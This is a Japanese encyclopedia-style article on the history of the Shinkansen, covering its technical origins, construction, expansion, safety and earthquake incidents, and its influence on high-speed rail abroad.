1955年(昭和30年)に国鉄総裁に就任した十河信二は、国鉄出身の卓越した技術者であるが一時民間にあった島秀雄を再度招聘し、国鉄技師長に就任させた。彼らを中心とする人々が、その後新幹線計画を推進することになる。
地盤が悪く山がちな日本において列車を高速運転するには、機関車が客車を牽引する「動力集中方式」よりも、電車・気動車のように編成の各車両に動力を持たせる「動力分散方式」の方が適している。カーブや勾配の多い条件でも加減速能力に優れ、また線路への負担が小さいため、脆弱な地盤に敷かれた線路でも高速を出せるからである。当時は蒸気機関車主流の時代であり、また国際的に見ても主流であることから、国鉄部内でも動力集中式に固執する者が多かったが、島秀雄は例外的に戦前から動力分散方式の特性を理解し、研究していた。
島は1951年(昭和26年)に事情によって国鉄を離れていたが、彼の指揮の下で1950年(昭和25年)に開発された東海道線普通列車用の80系電車は、短距離向けと見られていた電車が、長距離運転にも優れた特性を発揮するという事実を実証し、その後国鉄の在来線に電車・気動車の普及を進める原動力となった。島の復帰以降、国鉄の動力分散化の流れはさらに加速する。
日本では1953年(昭和28年)以降、欧米からの新技術移入や国内メーカーの技術開発に伴い、電車の高性能化の動きが始まった。
この過程で、振動を抑制し、乗り心地改善と高速運転に資する「カルダン駆動方式」と高速対応の新型台車、床面シャーシだけでなく側板や天井にも応力を分散させた「全金属製軽量車体」、全車両にモーターを搭載して加速力を高める「全電動車方式」、反応速度が速い上に取り扱いが容易な「電磁直通ブレーキ機構」、制御装置1台を2両の電動車で共用して軽量化やコストダウンを実現する「1C8M方式(MM'ユニット方式)」など、それ以前の電車とは一線を画する重要な革新的技術が、1953年(昭和28年)からわずか数年の間に実用化された。
この結果、高速性能・加減速性能に優れ、しかも居住性の良い高性能電車が、1954年(昭和29年)以降大手私鉄を中心に続々と出現して、大きな技術的成功を収めた。国鉄もこの潮流に乗って高性能電車の開発に取り組み、1957年(昭和32年)に新型通勤電車モハ90系(後の101系)を完成させる。
同年に小田急電鉄が完成させた低重心・連接構造の流線型特急電車3000形「SE車」は、鉄道技術研究所の技術指導を受けて設計された車両で、最高速度145 km/hを目指した野心作であった。しかし、曲線の多い小田急の路線ではその高速性能は十分に発揮できなかったため、小田急から国鉄に対して、試験で収集されたデータを小田急と国鉄の双方で利用することを条件として、軌道条件の優れている国鉄の路線上での走行試験について申し入れがあった。
国鉄はこの申し入れに対して快諾、小田急からSE車を借り入れ、1957年(昭和32年)9月に東海道本線で速度試験を行った。結果SE車は計画通りの145 km/hに到達し、当時の狭軌鉄道における世界速度記録を達成した。続いて国鉄はモハ90系通勤電車をギア比変更などで高速化改造、空気抵抗の面で不利な形態ながら135 km/hの好記録を達成した。
これらの実績を踏まえて、1958年(昭和33年)にはモハ90系の技術を応用し、東海道本線特急「こだま号」用に国鉄初の特急形電車モハ20系(後の151系)が開発された。流線型の軽量・低重心な車体は冷暖房完備で、空気ばね台車も装備し、スピードと快適な乗り心地を両立させて、動力集中方式の客車列車を完全に凌駕した。翌1959年7月には、東海道本線での速度試験で通常編成(4M4Tの8両編成)からデッドウェイトとなる付随車2両を抜いた6両編成で最高速度163 km/hに達し、小田急SE車の速度記録を更新した。
これらの電車における顕著な成績は、動力分散方式の資質を実証し、ひいては新幹線車両に電車を用いることへの強力な裏付けとなった。
1955年(昭和30年)から国鉄は交流電化方式の実用化に独自に取り組む。同年国鉄代表団はフランスパリで、狭軌用交流機関車を買いつける算段をするが、日本側は技術研究のための5両程度の買い付け意欲しかみせず、交渉は決裂。日本では同年中に独自開発による商用周波数の単相交流(20 kV 50 Hz)を使用する電気機関車2両(ED44 1(日立製作所製)・ED45 1(三菱電機・新三菱重工業製))の試作に成功する。
これらの試作車による研究成果を受けて、国鉄は1957年の北陸本線を皮切りに、地方線区での交流電化を開始した。これ自体は従来の直流電化に比べ、変電所間隔を長くできることから地上設備コストが低いと考えられたことによるものであったが、後に新幹線の電化システムに応用されることになる。超高速の電気鉄道においては大量の電力消費が生じ、これに伴って架線から効率よく集電するには、従来から用いられて来た1,500 Vの直流電源より、大電力を長距離送電できる高圧交流電源を用いる方が適していたのである(日本の鉄道の交流電化方式は在来線20 kV、新幹線25 kVで、電圧だけでも直流電化路線の10倍以上のレベルである)。
戦後の復興と共に鉄道および道路輸送の需要が増大すると、当時の日本における最重要幹線であった東海道本線の貨客輸送能力は、ほぼ限界に達していた。1956年に東海道本線の全線電化が完成するが、需要の増加には焼け石に水であった。
1957年(昭和32年)、国鉄内部の「幹線調査会」は、東海道本線の輸送力飽和は早晩必至とし、現在線以外の線路増設が必要であると答申した。実際の手法としてさまざまな案が出されたが、基本的に以下の3案のいずれかが選択されることになった。
東海道の線増計画は、従来の常道であれば複々線案が採られたところであった。しかし、十河ら国鉄幹部は将来の発展性を視野に入れ、あえて困難の多い広軌新線建設を決定したのである。それは戦前の弾丸列車計画を、戦後の技術革新の下で、改めて実現しようとする超高速列車計画であった。
同年5月30日には鉄道技術研究所(現:鉄道総合技術研究所)の篠原武司所長らが、鉄道技術研究所創立50周年記念講演「東京 - 大阪間3時間への可能性」で、広軌新線ならば東京 - 大阪間の3時間運転は技術的に可能であるという報告を行った。十河はその話を聞くや強い関心を示し、国鉄幹部を集めて技術研究所員に詳細を話させたという。
当時欧米では、将来の大量輸送手段として航空機と高速道路網による高速輸送が有望視され、鉄道はそれらに取って代わられる時代遅れのものだという見解が広まっていた。日本でもこれを範としようとする向きが一般的であり、在来線とは別規格の高速新線を建設するという計画は、国鉄内部でさえも疑問視する者が多かった。
鉄道ファンでもある作家の阿川弘之ですら、戦艦大和(大和型戦艦)・万里の長城・ピラミッドが「世界三大馬鹿」であり、この時期に莫大な投資をして新幹線を造れば「第2の戦艦大和」となって世界の物笑いの種になると批判した(後に阿川は新幹線が世界の鉄道斜陽論を覆すに至るまでの成功を収めたのを見て、十河の後を継いで国鉄総裁を務めた石田禮助との対談において、自らの不明を悔やむ発言をしている)。
そのような厳しい状況下で、十河と島は東海道に新たな大規模高速輸送用の鉄道路線(新幹線)を実現すべく政治的活動(十河が担当)と、技術的プロジェクト(島らが担当)を続けた。
技術的裏付けの下、1958年(昭和33年)に建設計画が承認され、翌1959年(昭和34年)4月20日に起工式が行われた。総工費は当初予定から修正され、3800億円にまで膨らんだ。元々十河などが国会内での承認を得るために安く見積もっていたこと、地価高騰のあおり、さらには新幹線建設に集中するために地方路線建設の陳情を蹴り国会議員の不興を買っていたこともあって、後には国会で責任問題に発展した。新幹線開業前に責任を取る形で十河は国鉄総裁を退任し、島も十河に殉じて国鉄を退職する。
1961年(昭和36年)5月1日に国鉄はこのプロジェクトに対し、世界銀行から8000万ドル(当時は1ドル=360円の固定相場制)の融資を受けた(この融資は1981年〈昭和56年〉に返済が完了した)。この融資を受けたことで、新幹線プロジェクトは日本の国家的プロジェクトとなり、国内事情によって中断することは許されなくなった。
その建設に関しては前述の通り、戦前の「弾丸列車計画」の際に開削されたトンネルや、買収された用地の多くが活用された。5年という短期間で完成したのは、この時の用地買収および工事があったからだともいわれている。また大阪府・京都府内では、完成した新幹線の線路を高架工事中の仮線として用いて、暫定的に阪急京都本線の電車を走らせていたこともあった(→新幹線の線路を先に走った阪急電車)。
1962年(昭和37年)には神奈川県綾瀬付近 - 小田原付近の区間がモデル線として先行整備され、小田原市鴨宮(かものみや)に鴨宮基地とそれを統括するモデル線管理区が置かれた。小田原 - 綾瀬間が試験路線に選ばれた理由は以下の通りである。
ここで2編成の試作電車「1000形」を用いて車両と設備のテストを繰り返し、問題点をあぶり出しては改良を重ねていった。1963年(昭和38年)3月30日の速度向上試験では、1000形B編成が256 km/hの国内速度記録を達成している。モデル線での研究は、初代量産形新幹線電車となる0系や、線路設備の開発に生かされることになった。また、ここに中央鉄道学園小田原分所を設けて、新幹線のための乗務員と保線要員の養成も同時に行った。
しかし、このモデル線には欠点があった。相模湾に近く、冬でも比較的温暖な鴨宮では、降雪時の高速運転を想定した試験データは十分に得られなかったのである。東海道新幹線の名古屋 - 新大阪間経路は、当初計画した鈴鹿山脈経由ルートが費用や技術・工期の制約から断念され、東海道本線同様に関ヶ原を経由するルートに変更されていた。関ヶ原周辺は谷間で標高も高く、さらに日本海側気候の影響で冬期には激しい降雪のある地域でもある。このような区間を冬期に高速列車で通過する状況の研究が、開業前には十分に行えなかった。このことは、1964年(昭和39年)の開業後初めての冬期に関ヶ原での着雪による車両故障を頻発させる原因となった。
このモデル線区は、設備が無駄にならないよう、建設中の路線の一部を先行完成させて利用する手法が採られ、東海道新幹線開業後は新横浜 - 小田原間の一部に組み込まれている。この手法は後続の東北新幹線の小山実験線や、リニア山梨実験線にも踏襲されている。小山実験線には実際に駅施設も設けられ、後に小山駅となった。現在、鴨宮基地のあった場所は保線車輌の基地となっており、その一角には新幹線モデル線を示すモニュメントが設置されている。2009年(平成21年)5月には市民の手によって、0系新幹線の前頭部をモチーフとした「新幹線発祥の地」のモニュメントが建てられた。
またテストに使われた試作電車は、東海道新幹線開業後に改造を受けた。A編成は救援車941形に、B編成は電気軌道総合試験車922-0形となり、それぞれ役立てられることになる。941形はまったく活躍することなく廃車となったが、922-0はその後0系を元とした「ドクターイエロー」が登場するまで生き永らえた。
日本国有鉄道(国鉄)時代の1964年(昭和39年)10月1日に開業した東海道新幹線が初の路線である。開業に先立ち、東京駅の東海道新幹線8、9番ホームの間に「0キロメートル」の起点標(距離標)が設置された。開業を1964年にしたのは、1964年の東京オリンピックの開催時期に合わせたからである。
併せて専用の0系が開発され、営業に投入された(→1964年10月1日国鉄ダイヤ改正も参照)。なお、開通に先立つ同年4月22日からアメリカのニューヨーク市で開催されたニューヨーク万国博覧会の日本館に実物大モックアップが展示され、日本の技術力を誇示した。
10月1日の東京発の一番列車(ひかり1号、運転士・山本幸一、伊月正司の2名)は定員987名のところ乗客は730名ほどであり満席ではなかった。
開業当初の営業最高速度は200km/h(東京 - 新大阪間「ひかり」4時間、「こだま」5時間)。路盤の安定を待って翌年に210km/h運転(同「ひかり」3時間10分、「こだま」4時間)を開始した(→1965年10月1日・11月1日国鉄ダイヤ改正も参照)。
日本の二大都市である東京 - 大阪間は、1958年(昭和33年)から在来線の特急で日帰り可能になっていたものの、滞在時間がわずか2時間あまりしか取れなかった。しかし新幹線の開通により、日帰りでも滞在時間を充分取れるようになり、社会構造に著しい変化を及ぼした。ビジネスやレジャーの新しい需要を喚起し、東海道新幹線においては当初の12両編成が、1970年(昭和45年)の大阪万博の開幕を機に16両編成まで拡大され、高速大量輸送機関としての確固たる地位を確立した。
その一方で、新幹線の建設や特急・急行列車の増発、さらには都市部における通勤輸送増強(通勤五方面作戦など)などの設備投資に追われたことから、新幹線の開業した1964年(昭和39年)度から国鉄収支は赤字に転落し、以後それは拡大する一方となり、結果的に新幹線建設は国鉄破綻の1つの原因となったと言われる。これに対し、JR東海の葛西敬之会長は著書の中で「東海道新幹線はあくまで内部留保された資金と借金で建設資金をまかない、それらを運賃・料金収入のみですべて回収したものであり、新幹線建設が国鉄破綻の引き金を引いたという認識は誤りだ」と指摘している。いずれにせよ、以後の国鉄において、新幹線は重要な収入源ともなっていく。
その後、東海道新幹線に続いて、同じように需要の増加していた山陽本線の抜本的輸送力改善と高速化を目的として、1967年(昭和42年)に東海道新幹線を延伸する形で山陽新幹線が着工され、1972年(昭和47年)3月15日に岡山まで、1975年(昭和50年)3月10日には博多まで開業した(→1972年3月15日国鉄ダイヤ改正・1975年3月10日国鉄ダイヤ改正も参照)。「ひかりは西へ」がそのキャッチコピーであった。
さらに東北方面への延伸も計画された。1971年(昭和46年)には東北新幹線と上越新幹線が着工され、キャッチコピーには「ひかりは北へ」が使用された(実際の開業にあたっては、「やまびこ」「あおば」「とき」「あさひ」等、東北・上越在来線特急のかつての名称を継承している)。1974年(昭和49年)には建設中の成田空港へのアクセス路線として成田新幹線も工事に入った。折しも田中角栄内閣総理大臣によって、国土開発を促進する「日本列島改造論」が提唱され、整備は順調に進むかに見えた。
だが、実際には反対運動による用地買収の難航やトンネル工事での異常出水などがあり、前者2つの新幹線は予定より工事が5年も遅れ、成田新幹線に至っては工事中止となってしまった(ただし、後にJR東日本と京成電鉄の成田空港乗り入れの際にこの新幹線建設で作られた設備が生かされることになる)。また、名古屋新幹線訴訟など、新幹線沿線での騒音・振動による公害問題がこの頃深刻化した。さらに国鉄財政の悪化に伴う運賃・料金値上げの繰り返し、労働紛争によるストライキの頻発化などから、既存新幹線の乗客が減少傾向に陥った。そして経営問題と労働紛争の影響から技術革新も見られなくなり、新幹線の発展・発達は一時停滞した。
東北新幹線と上越新幹線は1982年(昭和57年)に大宮発着という暫定的な形で開業し(→1982年11月15日国鉄ダイヤ改正・新幹線リレー号も参照)、1985年(昭和60年)には用地買収の関係で遅れていた都心(上野)乗り入れを果たした(→1985年3月14日国鉄ダイヤ改正も参照)。これにより東北・上越地方における鉄道シェアは大幅に拡大した。だが、それら新幹線の建設費負担も重なって、国鉄財政はついに破局的状態となり、中曽根内閣の下で断行された1987年(昭和62年)の国鉄分割民営化に至るのである。
国鉄の分割・民営化、つまりJR発足後、東北・上越新幹線はJR東日本、東海道新幹線はJR東海、山陽新幹線はJR西日本の運営とされたが、当初設備は第3種鉄道事業者の「新幹線保有機構」が保有し、各会社が第2種鉄道事業者として路線を借り受けて運営する形とした。新幹線の保守費用は各社が負担し、新幹線保有機構は設備の貸し代だけを受け取るもので、利益の出る新幹線事業によって赤字となる他地域JR会社への補填を行うのが目的であった。
しかし、前記JR3社の経営が安定化して、東京証券取引所などへの上場が視野に入ると、輸送量に応じて貸し賃が変わるこの制度のままでは会社の営業努力が反映されないことや、各社の資産・債務の額が確定できないことなどが問題視され、結局1991年(平成3年)に制度を変更し、各鉄道会社が新幹線資産を新幹線保有機構を改編した鉄道整備基金から60年賦で買い取ることにした。
分割・民営化後、技術・営業面で停滞していた新幹線も新型車両の登場、新形態など積極的な流れが見られるようになった。
後者の代表として、JR東日本は新幹線規格(フル規格)の線路を新規に建設することなく、既存の在来線を改良し、専用の車両を新造したうえで、新幹線と在来線が直通運転できるようにしたミニ新幹線を整備した。
1992年(平成4年)に400系を新造し、山形新幹線として奥羽本線の福島駅 - 山形駅が、1997年(平成9年)にE3系を新造し、秋田新幹線として田沢湖線・奥羽本線の盛岡駅 - 秋田駅が、1999年(平成11年)にE3系1000番台を増備し、山形新幹線の延伸として奥羽本線の山形駅 - 新庄駅が、それぞれ順次営業運転を開始した。
JR西日本は山陽新幹線博多総合車両所への車庫線を旅客線化し、1990年(平成2年)に博多南線として博多駅 - 博多南駅を、こだま号に使用される車両を用いる在来線特急という形態で営業運転を開始した。
また最高速度は210 km/hの時代が長く続いたが、国鉄末期頃(→1985年3月14日国鉄ダイヤ改正・1986年11月1日国鉄ダイヤ改正も参照)から次第に向上されるようになり、21世紀初頭では東海道新幹線で270 km/h、山陽新幹線区間で300 km/h、東北新幹線区間で320 km/hに至っている。また時速アップ以外にも、停車駅での停車時間の短縮や、停車駅間の速度をできるだけ高速度で維持するなどして、わずかな分単位ながら、主要駅間の時間短縮を図る工夫もされている。
国鉄末期に建設が凍結されていた整備新幹線は工事が再開され、東北新幹線(2002年に八戸まで、2010年に新青森まで延伸)と九州新幹線鹿児島ルート(2004年に鹿児島中央 - 新八代間、2011年に新八代 - 博多間が開業)は既に全線開業、北陸新幹線(1997年に「長野新幹線」として長野まで開業、2015年に金沢まで延伸)と北海道新幹線(2016年に新函館北斗まで開業)が部分開業し、残った区間も工事が次第に進みつつある。
また20世紀末以降、新幹線による通勤・通学が増加した(「新幹線通勤」も参照)。これは、いわゆるバブル時代の大都市における地価の高騰で、新幹線で通勤・通学が可能な郊外(主に東京への通勤・通学を目的に栃木県、群馬県、静岡県東部が多い)の住宅に住む人が増えたためである。1983年(昭和58年)2月の新幹線定期乗車券販売開始をきっかけに、新幹線通勤定期券を支給する企業の増加、さらに企業が支給する通勤定期券代の所得税非課税限度額の引き上げがそれに輪をかけた。朝・夕の新幹線においては通勤客で混雑が激しくなり、通勤客向けのダイヤも設定されるようになった。これに対応してJR東日本ではMaxという多座席型の2階建車両を投入し、1列車あたりの定員を大幅に増やした時期もあった。首都圏以外でも、山陽新幹線の小倉 - 博多間などで通勤・通学に新幹線を利用する者が多くなった。
1964年(昭和39年)10月1日に最初の新幹線である東海道新幹線が開業して以来、事業者側の責任事故として確定した事故は、1995年(平成7年)に駆け込み乗車の乗客の手をドアに挟んで引きずり死亡させた三島駅乗客転落事故(旅客が死亡)と、2015年(平成27年)に発生した山陽新幹線部品脱落事故(旅客が負傷)の計2件である。
駅ホームでの事故(駅ホームから転落または故意に投身し車両に接触、あるいは架線に接触し感電など)や線路内立ち入り等による死亡例は多数発生しているものの、これらは鉄道事業者側の責任事故ではなく、またこれらは新幹線システムそのものの根本的欠陥に起因する事故ではないため、新幹線の安全性に関しては非常に高いものと捉えられている。この事実は新幹線の安全神話などと称されていた。
2011年には「最も安全な高速鉄道ネットワーク」としてギネス世界記録に認定されるなど、新幹線車両自体の脱線、転覆や衝突による旅客死亡事故は未だ発生していないが、重大な事故に至る一歩手前の事態は過去に何度か発生している。
以下の各事例は、新幹線の安全を脅かす事故例と考えられ、重大視されてきた。
他にも1990年代末期から多発したトンネルのコンクリート剥落事故に対しては、JR各社には設備保全を徹底させる対策が求められている。
また在来線と直通運転を行うミニ新幹線(山形新幹線・秋田新幹線)では在来線区間に踏切もあるため、踏切事故がしばしば発生している。
地震に伴う障害は、高速鉄道の安全性にとって脅威となりうる。このため、地震が多発する日本において運営される新幹線にとっても課題となっている。1990年代以降、日本国内における大きな地震災害の多発により、高速鉄道の地震に対する脆弱性が指摘されるようになった。
1965年(昭和40年)4月20日、静岡県の大井川河口を震央とするマグニチュード6.1の地震が発生し、開業後約半年経過していた東海道新幹線にも静岡市周辺の盛り土が崩れる被害が生じた。当時はまだ運転本数が1時間に片道2本しかなく、発生直後にすべての列車の運行が停止されたこともあり、走行中の車両や旅客には大きな被害は発生しなかった。しかし、当時の運行責任者であった斎藤雅男(元国鉄新幹線支社運転車両部長-新幹線支社次長、鉄道工学の専門家)によると、「当時は雨の影響で地盤が弱くなっており、大きく陥没していたところもあった。仮に崩れた路盤上に列車が来ていたら間違いなく脱線して大惨事になっていた」という。なお、山陽新幹線の一部区間と東北新幹線以後の新幹線にはスラブ軌道が採用されている。
1995年(平成7年)1月17日の兵庫県南部地震(阪神・淡路大震災)では、被災地域において山陽新幹線の高架橋が破損・一部落下し、新大阪駅 - 姫路駅間が81日間にわたり不通となった。地震発生は午前5時46分で、始発列車は新大阪駅に停車していたがこの日の営業運転が始まる前であったため、落下した高架橋に列車が突っ込むなどの最悪の事態は免れた。これを機に高架橋の補強などの耐震対策が進められた。また比較的被害の少なかった京都駅 - 新大阪駅間、姫路駅- 岡山駅間は1週間程度で復旧した。
さらに、2004年(平成16年)10月23日の新潟県中越地震においては、上越新幹線が甚大な被害を受けた。高架やトンネルなどの構造物に損傷が発生したほか、上越新幹線列車の「とき325号」(10両編成、200系=K25編成)が長岡駅の手前付近を約200 km/hで走行中に脱線した。これはまた新幹線史上初の営業運転中、しかも高速走行中の脱線事故となった。この脱線の衝撃で、レールの道床の締定が多数外れ、一部のレールはねじ曲がるなどの大きな被害を受けた。
通常、列車がこの規模の地震に震源地付近で直撃された場合、たとえ停車していたとしても脱線は免れ得ないと考えられる。「とき325号」の事例では約200 km/hで脱線したとはいえ、奇跡的に、死者・重傷者などは生じなかった。これは、編成全体の横転などには至らなかったこと、および、数分の差で対向列車との衝突も免れるという幸運も重なったことによる。なお、横転が生じなかった理由には、事故現場が積雪の多い地帯であるため、レール脇に雪を融かして流すための溝があり、そこに脱線後の車体の一部がはまり込んだことも関係していたとされる。
なお、地震に対する脅威に対し、上越新幹線にも地震感知システム「ユレダス」をカスタマイズした「コンパクトユレダス」が採用されている。実際、この「とき325号」のケースにおいても初期微動(P波)の検知後にブレーキが動作した。しかし、このケースでは、「とき325号」の通過地点からみて直下型の地震であったため、「とき325号」の停止前に地震が到達したことにより被害が生じてしまった。
この事故により、新幹線を運営するJR各社は、新幹線における地震対策の重要性を強く認識することとなった。
2011年(平成23年)3月11日に発生した東北地方太平洋沖地震(東日本大震災)では、東北新幹線が甚大な被害を受けた。運転中の列車はすべて強制停止したが、大宮駅 - いわて沼宮内駅間の広範囲にわたって、高架橋の損傷や架線柱の倒壊などが発生した。仙台駅では試運転中のE2系の一部車両が脱線したほか、ホームの天井板が剥がれ落ちるなど前記の中越地震以上の被害を受け、全線復旧まで約1か月半を要した。
2016年(平成28年)4月14日に発生した熊本地震では、九州新幹線が被害を受けた。下りの800系6両編成の回送列車が熊本駅から熊本総合車両所へ向かう途中に脱線したほか、防音壁の落下や高架橋の亀裂などが見つかったが、13日後の4月27日午後には全線で運転を再開した。
2022年(令和4年)3月16日に宮城県牡鹿半島沖南南東60kmを震源とする最大震度6強の地震(福島県沖地震)のため東北新幹線「やまびこ223号」が福島駅 - 白石蔵王駅間の宮城県白石市内で営業運転中に脱線した。現場付近及び新幹線の車両には脱線を防ぐ装置が設置されていたものの17両編成のうち16両が脱線し、合わせて68の車輪の軸のうち60基がレールから外れていた。また、脱線した列車には「レール転倒防止装置」や「逸脱防止ガイド」が設置されていたが一部の車両はレールから大幅にずれて傾くなどの被害が確認された。
「やまびこ223号」が脱線した福島駅 - 白石蔵王駅の間は、最高速度が320 km/hとなっていたが、地震が起きた際列車は白石蔵王駅での停車に向け減速していた際に発生し、地震を検知して非常ブレーキがかかる過程で脱線したと見られている。初期微動(P波)を検知して自動でブレーキを掛けさせる装置は正常に作動していたという。
営業運転中の新幹線が地震による脱線事故を起こしたのは新潟県中越地震での上越新幹線脱線事故以来2例目である。
新幹線では、航空機や船舶と異なり、通常の運行では乗客名簿などは整備されない。万一、転覆事故などで多数の死傷者が生じた時には、死傷者の身元特定に支障をきたすのではないか、との指摘もある。もしそうなった場合、家族への連絡や事故の補償などで大きな問題となることが予想されるが、新幹線を運営する各鉄道会社はこの課題について踏み込んだ対策を採るまでには至っていない。
20世紀末から世界的に増加しているテロリズムに対しても新幹線は脆弱ではないかとの指摘もされている。現状では航空機のような搭乗時の手荷物検査がなく、その気になれば車内やプラットホームに、可燃物や爆発物、刃物を容易に持ち込むことができるのも事実である。また高架橋などの軌道設備には周囲から容易に接近できる箇所が多く、この面でもたやすくテロの対象となりうる。
なお、N700系では全てのドア上部と乗務員室出入口に、E5系・H5系やE6系、E7系・W7系ではそれらに加えてグランクラスを除く客室内にも監視カメラを取り付けている。東海道新幹線車内での放火事件以降、JR東海はN700系でも客室内とデッキ通路部にも増設することとし、2016年2月23日より増設が完了した編成が運行を開始した(1編成あたりのカメラは60台から105台に増加)。なお、客室内の映像については、N700系は常時録画だが、その他のE5系・H5系などはプライバシー保護の観点から非常ボタンが押されてから録画を開始する方式としている。JR東日本ではこれらの車両についても今後は同様に常時録画とする方針である。
JR東日本の各新幹線では、テロ対策のため、車内のゴミ箱を一切利用停止にしていた時期があったが、乗客からの不便という声が高まり、現在は利用を再開している。ただし要人来日時(特に主要国首脳会議開催時やアメリカ合衆国大統領来日時)は、利用を停止する場合がある。また、JR東海ではアメリカ同時多発テロ事件以降、系列の警備会社と連携し、沿線を24時間体制で巡察しているほか、全ての列車に警備員を警乗させている。
2008年(平成20年)7月28日に東海道・山陽新幹線では、2008年12月より全編成において自動体外式除細動器 (AED) を配備すると発表した。
世界初の210 km/h運転を達成した新幹線の成功は、欧米各国に影響を及ぼした。鉄道先進国を自負していたフランスは、1967年5月28日よりパリ - トゥールーズ間の列車「ル・キャピトール」を欧州において初めて一部区間で200 km/hで運転し、その後も複数の列車を200 km/hで運行していた。新幹線の開業後、1981年に本格的な超高速列車TGVを開発し、営業最高速度260 km/hというスピード世界一を達成し、新幹線の記録を凌駕した。
その他、ドイツ (ICE) やイタリア(ディレッティシマ)でも高速列車が計画され、実現に移された。イタリアのディレッティシマは欧州初の高速新線であり、1970年に工事が始まり、1978年に部分開業を迎え、1983年に250 km/h運転を開始したものの、その後の整備で仏独に遅れを取り、全線が開業したのは1992年である。
スペインでは、当初はイベリア軌間の在来線を高速化させる計画で進めていたが、1986年に同国が欧州諸共同体 (EC) へ加盟したのちに標準軌の高速新線を導入する計画へ方針転換。この一連の流れにおいては日本企業が車両の導入に大きな努力をしており、技術面において非常に高い評価を得ていたが、同国の欧州諸共同体への加盟や同国への投資額、同国内の経営不振企業の救済計画などに代表される政治的な問題からフランスのTGV方式の高速列車を採用することとなり、この時点での日本の新幹線方式の車両の導入は幻となった。
ロシアの高速列車ソコルは1997年、ドイツ鉄道の技術支援を受け、モスクワ - サンクトペテルブルク間654 kmを営業最高速度250 km/hで結んだことにより、所要時間が、4時間20分から2時間30分に短縮された。
なお、すでに標準軌の鉄道網が整備されているこれらの国では、駅周辺は従来の路線をそのまま使用し、郊外区間では諸条件によって高速新線建設と在来線改良を使い分けることが多く、全線を新線として建設する新幹線とは異なっている。
走行試験を除く営業運転速度は、2019年4月現在、中国高速鉄道のCR400系(京滬高速鉄道と京津都市間鉄道)の 350 km/hが世界最速である。新幹線E5系やフランスTGV (320 km/h) などがそれに続く。大韓民国(韓国)では2004年にフランスのTGV方式の韓国高速鉄道 (KTX) が300 km/hで開業し、台湾では2007年に日本の新幹線方式(一部仏独の技術を導入)の台湾高速鉄道が300 km/hで開業した。
TGVは360 km/hへの速度向上を計画している。2007年後半からフランスのTGV方式を採用したスペインのAVEは、マドリード - バルセロナ間630 kmの新線で、ドイツのICEの技術に使われているシーメンス製の Velaro E という列車を使い350 km/hで運転する計画がある。実現すれば、マドリード - バルセロナ間は2時間30分に短縮される。 さらにロシアやベトナムでも新幹線をモデルにした最高速度350 km/hの高速鉄道建設が計画されている。
浮上式鉄道を含めた2015年4月時点における世界最速の旅客営業鉄道路線は、2003年にドイツの技術によって開業した、中国・上海浦東国際空港へのアクセス路線である上海トランスラピッドで、その最高速度は430 km/hである。 走行試験も含めた鉄道における最高速度の世界一は、日本のL0系が2015年4月に山梨リニア実験線で記録した603 km/h。浮上式鉄道を除くとフランスTGVの高速試験車V150編成が記録した574.8 km/hである(日本の非浮上式鉄道の最高記録はJR東海の300Xによって達成された443 km/hで世界第3位)。
東海道新幹線は建設時期が古く、カーブなどの線路状況が200 km/h台の設計になっている。より新しい山陽新幹線・東北新幹線などもフランスやドイツなどと比較すると山岳区間が多く、路線の起伏やカーブの設計などにおいて高速化を妨げる点が多い。特に後者は上越新幹線とともに寒冷地の耐寒・耐雪装備が不可欠であり、重量的に不利である。また沿線に住宅地が多いため、騒音への対策も必要となるなど、300 km/h以上の運転には課題が多い。
しかし、JR東海・JR西日本は2007年より山陽新幹線で500系と同じ最高速度300 km/h、東海道新幹線でも従来の車両では255 km/hまで減速する必要のあった半径2,500 mのカーブを、車体傾斜装置を搭載することで270 km/hで通過できるN700系の導入を開始した。さらに改良型となるN700系1000番台(通称「N700A」)の製造及びN700系からの同仕様への改造により、東海道新幹線で285 km/hでの営業運転を2015年3月14日より開始した。これにより、半径2,500mのカーブを、275 km/hで通過するようになった。また、JR東日本は2004年から360 km/h走行を前提とした試験車両(E954・E955形)を開発し、2009年からはE954形をベースとして320 km/hでの走行を前提にしたE5系を製造、新青森延伸後の2011年3月5日に300 km/hで営業を開始し、2013年3月16日より320 km/hでの営業運転を開始した。
かつて、JR東海は東海道新幹線の一部区間で、当時の営業最高速度270 km/hから330 km/hに引き上げることを検討していた。330 km/hでの走行は京都 - 米原間の直線が長い一部区間を対象に、N700系を使用し、前方に待機列車がなく性能を存分に発揮できる「のぞみ」の始発、終発に限定して行う計画であった。
また近年、速度向上の動きが顕著である。JR東日本はE954形-E5系の開発時に断念した360km/hでの営業運転について再度挑戦すべく、試験車両E956形を用いて走行試験を開始した。また、JR北海道は建設中の新函館北斗駅 - 札幌駅間について、整備新幹線としては初となる320km/hで営業運転するための追加工事を行うことを発表した。さらに、JR東海はN700Sにて営業用車両としては国内最速である363km/hを記録した(この速度で営業運転するためではなく、国内外に高い走行性能を示す目的)。
各路線での記録である。
中華民国(台湾)の台北 - 高雄間のうち、台北 - 左営の約340 kmで運行されることになった高速鉄道路線(台湾高速鉄道)は、独仏連合が先行する形で日本連合との間で熾烈な受注競争が行われたが、1999年に台湾で大地震が起き、地震時のリスクを台湾側は懸念するようになり、その結果新幹線は地震時に安全性が高いことに焦点が当たり、日本連合が最終的に逆転、車両や運行管理システムなど根幹部分の受注に成功した(ただし、台湾高速鉄道の全体を完全に日本連合だけが受注したわけではない ※)。車両には700系をベースとした700T型が用いられ、運行管理システムも新幹線のもの、乗務員のトレーニングも日本式のものが採用された。台湾高速鉄道の顧問には、日本における新幹線計画の実現に大きく貢献した島秀雄の次男である島隆が就いた。一方、鉄路部分の施工に関しては、競争で先行した欧州連合がすでに契約締結済で関与し、韓国も関与した。
当初は2005年10月の開業を目指して建設が進められたが、台湾高速鉄道のコンサルタント業務を欧州連合が先に受注していたため、施工方法やスケジュールの調整が難航。また建設工事の一部区間を受注していた韓国の現代建設による路盤の手抜き工事が発覚するなど、各国企業の思惑が入り乱れたため、開業時期が徐々に遅れ、結局2007年1月5日に板橋 - 左営間で仮開業し、全線は2007年3月に正式開業した。2016年に、台北 - 南港間が開業しているが、左営 - 高雄間の着工は未定である。
アメリカ合衆国・テキサス州ヒューストン - ダラス間を90分で結ぶテキサス・セントラル・レイルウェイの建設計画が日本の新幹線方式を導入することが決まり、早ければ2021年に建設を開始し、2026年の開業を予定している。なお既に日本の新幹線方式で建設し、N700系の改良版を導入することを明言している。JR東海が技術支援に加え、少額の出資を検討している。
